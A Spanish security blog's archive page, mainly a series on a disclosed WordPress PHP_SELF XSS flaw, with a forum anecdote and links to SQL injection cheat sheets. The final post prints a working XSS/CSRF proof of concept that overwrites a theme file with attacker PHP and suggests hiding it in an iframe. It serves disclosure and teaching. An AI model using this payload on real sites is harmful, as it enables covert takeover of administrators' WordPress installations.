Categories
CSRF Seguridad Web WordPress XSS

WordPress, XSS y CSRF – Final

Puesto que el anterior quiz ya fue resuelto, pongo la prueba de concepto que permite sobreescribir cualquier archivo del tema que esté usando una determinada instalación de WordPress (el que viene por defecto para este ejemplo), esto funcionará siempre y cuando el usuario actual tenga los permisos suficientes como para modificar los archivos del tema.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>WordPress XSS PoC</title>
</head>
<body id="main">

        <form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
                <p>
                        <textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
                </p>
                <p>
                        <input type="hidden" name="action" value="update" />
                        <input type="hidden" name="file" value="wp-content/themes/default/index.php" />  
                </p>
        </form> 
        <script type="text/javascript">
        // <![CDATA[
                document.forms[0].submit();
        // ]]>

        </script>
</body>
</html>

El código que genera una versión vulnerable de WordPress para la prueba de concepto es el siguiente:

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
        <title>WordPress Confirmation</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <link rel="stylesheet" href="install.css" type="text/css" />
</head>
<body>
        <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
        <p>     <form method='post' action='theme-editor.php'><image src=a onerror=javascript:document.forms[0].submit()><a'.php'>

                <input type='hidden' name='action' value='update' />
                <input type='hidden' name='newcontent' value='<?php echo "owned! " . date('F j, y'); ?>' />
                <input type='hidden' name='file' value='wp-content/themes/default/index.php' />
                <input type='hidden' name='do' value='Do!' />
                <input type='hidden' name='_wpnonce' value='1d0bfa4c4e' />
                <div id='message' class='confirm fade'>
                <p>Are you sure you want to edit this theme file: "wp-content/themes/default/index.phpWordPress Default"?</p>

                <p><a href='http://localhost/wordpress/wp-admin'>No</a> <input type='submit' value='Yes' /></p>
                </div>
        </form>
</body>
</html></p>
</body>
</html>

La parte más interesante de la prueba de concepto, es que se hace uso de una etiqueta HTML que no necesita cierre y que además permite tener un pequeño tiempo de gracia para que cargue la página y se envíen todos los campos del formulario, es por este motivo que el código javascript se ubica en el evento onerror (soportado por la mayoría de navegadores) de la etiqueta IMG.

Para aprovechar esta vulnerabilidad sin que la víctima se de cuenta, podemos hacer uso de CSRF, esto es cargar el código mostrado desde un iframe e incitar al usuario afectado para que visite una página confiable que contenga el elemento mencionado.

Categories
Humor Varios WTF

Cosas curiosas de los foros de discusión

El ser partícipe de listas de correo o foros de discusión es una experiencia enriquecedora y muchas veces divertida, no sólo porque se puede aprender mucho o conocer gente bastante interesante, sino también porque existen casos anecdóticos como el siguiente 🙂 :

ESTOY EN EXAMEN (URGENTE) Problema con datagrid

Hola, espero que leais esto pronto, necesito aprobar como sea. Mi problema es el siguiente:

- Genero un datagrid, del que selecciono una provincia, y enlazo con otro datagrid que se genera automaticamente con los cursos existentes en esa provincia. En el segundo datagrid selecciono un curso concreto para pasarlo a un listbox... pero el datagrid se me vacia y el listbox no se llena. Como puedo hacer para que se guarde el valor del datagrid?

Categories
PHP Quiz Seguridad Web WordPress XSS

WordPress, XSS y CSRF – Parte 2

En la primera parte vimos un poco de los problemas que tiene usar $_SERVER['PHP_SELF'] sin ningún tipo de validación. Para esta segunda parte, he preparado un pequeño quiz que básicamente refleja los problemas reportados en WordPress.

La siguiente porción de código es una versión resumida del contenido de los archivos wp-includes/vars.php y wp-includes/functions.php (función wp_nonce_ays):

php:

<?php

$PHP_SELF = $_SERVER['PHP_SELF'];
if ( preg_match('#([^/]+\.php)$#', $PHP_SELF, $self_matches) ) {
        $pagina_actual = $self_matches[1];
} else {
        $pagina_actual = 'wp.php';
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>Wordpress demo</title>
</head>
<body id="main">
        <form action="<?php echo $pagina_actual; ?>" method="post">
                <input name="foo" id="foo" type="text" tabindex="0" />
                <input name="postback" id="postback" type="submit" value="Enviar" tabindex="1" />
        </form>
</body>
</html>

¿Algún ejemplo que aproveche el bug que existe en el código de prueba? (de preferencia que funcione en varios navegadores)

Nota: Por motivos de seguridad no voy a facilitarles una página de prueba, puesto que por más que ponga los ejemplos en un subdominio, éstos son accesibles también desde el dominio principal, haciendo vulnerable a XSS mi instalación de WordPress 😀 --quise usar Dreamhost, pero para este caso no sirve.

Categories
CSRF WordPress XSS

WordPress, XSS y CSRF – Parte 1

Puesto que ya está disponible la Release Candidate 2 de WordPress 2.1.3 y 2.0.10, paso a comentar, como lo había prometido, los detalles del fallo de seguridad que afecta a todas las versiones menores a las que liberaron hoy (me parece que se salvan los que corren PHP como CGI, los que estén usando la alternativa de solución que propuse, los que tengan activo el módulo mod_security o PATH_INFO deshabilitado en sus servidores Web).

Este problema se origina por el valor que puede llegar a tener $_SERVER['PHP_SELF'] debido a que ésta es fácilmente manipulable por el cliente, tal como se puede apreciar en el caso menéame o uno de los ejercicios que mi buen amigo Braulio puso cuando todavía estaba en Cusco.

Repasando un poco el comportamiento de esta variable, tomaremos como base el siguiente código:

php:

<?php
// php_self.php
header('Content-type: text/plain');

echo $_SERVER['PHP_SELF']."\n";
echo $_SERVER["PATH_INFO"]."\n";

?>

Si alguien intenta invocar a nuestro script de la siguiente manera: /php_self.php/<xss>, entonces lo que se envía al navegador es lo siguiente:

code:

/php_self.php/<xss>
/<xss>

En WordPress, existe un sólo lugar* en el que se envía directamente el contenido de esta variable al navegador, ésta se encuentra en la función get_pagenum_link de wp-admin/link-template.php.

php:

$index = $_SERVER['PHP_SELF'];
$index = preg_replace('|^'. $home_root . '|', '', $index);
$index = preg_replace('|^/+|', '', $index);

Una vez identificado el punto débil, para conseguir ejecutar javascript usando este problema, depende de la estructura que hayan definido para las URL, por ejemplo una instalación normal (versión 2.1.3 RC1) es muy probable que sea afectada.

En la siguiente entrega viene la parte más interesante de este bug, es muy probable que lo ponga como ejercicio para la siguiente semana 😉 , mientras tanto, los que tienen blogs basados en WordPress, vayan actualizando sus versiones.

*: si alguien encuentra más, puede ayudar reportándolo a través de la página de incidencias de WordPress.

Categories
Recursos Seguridad Sql Injection

SQL Injection Cheat Sheet

A través de una entrada en el blog de RSnake, he llegado a una interasante colección de ejemplos de SQL Injection que Ferruh Mavituna ha preparado, estos ejemplos están principalmente basados en bases de datos MySQL, Sql Server y Oracle.

La página mencionada muestra referencias a funciones y características que pueden resultar útiles al momento de encontrar y explotar este tipo de vulnerabilidades.

Otro recurso, igual de importante e útil que el anterior, es el que realizó Jungsonn -asiduo participante de los foros sla.ckers.org.